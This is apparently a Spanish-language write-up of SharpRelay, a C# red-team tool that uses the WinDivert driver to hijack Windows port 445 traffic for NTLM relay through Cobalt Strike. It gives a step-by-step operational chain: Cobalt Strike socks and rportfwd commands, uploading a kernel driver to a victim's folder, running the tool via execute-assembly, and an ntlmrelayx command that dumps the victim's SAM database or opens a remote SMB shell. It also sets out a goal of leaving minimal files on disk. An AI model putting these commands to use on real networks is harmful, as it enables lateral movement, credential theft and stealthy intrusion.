
Herramienta en C# que utiliza el controlador WinDivert para interceptar y redirigir el tráfico del puerto 445 de Windows para ataques de retransmisión NTLM a través de Cobalt Strike, permitiendo movimiento lateral y recolección de credenciales en operaciones de equipo rojo.
El único requisito para que este ataque funcione es tener un beacon con privilegios de administrador local o con la capacidad de cargar controladores. El ataque usando SharpRelay funciona de la siguiente manera:
rportfwd de Cobalt Strike para reenviar el puerto 8445 del host comprometido al puerto 445 de nuestro teamserver.Los siguientes comandos de ejemplo se pueden ejecutar desde Cobalt Strike para realizar estas acciones:
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
Cuando todo lo anterior se ejecute con éxito, debes iniciar tu servidor de retransmisión (configura proxychains con el puerto especificado en los comandos anteriores, ej. 4444):
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
El comando anterior volcará la base de datos SAM del host víctima. También es posible obtener un shell SMB interactivo, así como ejecutar comandos de forma remota en la víctima.
SharpRelay ha sido probado en Win10 x64.
Si deseas compilar la herramienta desde el código fuente, puedes hacer lo siguiente:
Las instrucciones anteriores han sido probadas usando Visual Studio 2019.
SharpRelay se basa en el controlador WinDivert. Según su descripción, WinDivert es un controlador de kernel que permite la interceptación y modificación de paquetes en modo usuario. El usuario debe especificar un filtro y cualquier paquete que coincida con este filtro será interceptado y puede ser modificado.
Del archivo ReadMe:
The WinDivert.sys driver is installed below the Windows network stack. The
following actions occur:
(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted. The
PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet. PROGRAM can
re-inject the (modified) using a call to WinDivertSend().
Para nosotros, la cosa más importante que WinDivert nos permite hacer es que podemos interceptar el tráfico dirigido a un puerto abierto de Windows y redirigirlo a otro puerto modificando los puertos de origen y destino TCP de cada paquete, recalculando las sumas de verificación TCP y reinyectando los paquetes en la pila de red.
En Windows, el puerto 445 siempre está en ejecución por defecto. No entraré en detalles sobre el proceso que usa el puerto 445 porque esto ya está analizado en la siguiente publicación, así que por favor léelo:
La publicación anterior también contiene otra idea interesante. Usar WinDivert para realizar un ataque de retransmisión SMB a través de Metasploit. Puedes subir algunos DLL y un archivo de controlador al host objetivo junto con divertTCPconn.exe y ejecutarlos. Encontré este ataque increíble, pero lo que no me gustó fue que tenías que subir múltiples DLL en el host objetivo.
Así que mi objetivo era hacer el mismo ataque dejando caer la cantidad mínima de archivos en disco y también ejecutando el ataque a través de Cobalt Strike.
En primer lugar, quería hacer uso de la función execute-assembly de Cobalt Strike, así que decidí escribir mi código usando el framework .NET. Mi pensamiento inicial fue reescribir divertTCPconn en C# y entonces todo funcionaría. Resulta que esto era muy complicado. Afortunadamente, encontré el siguiente paquete NuGet escrito por TechnikEmpire:
Usando WinDivertSharp, pude escribir SharpRelay para cargar el controlador creando un servicio y comunicarme con el controlador WinDivert para realizar cualquier modificación de paquetes que necesitara.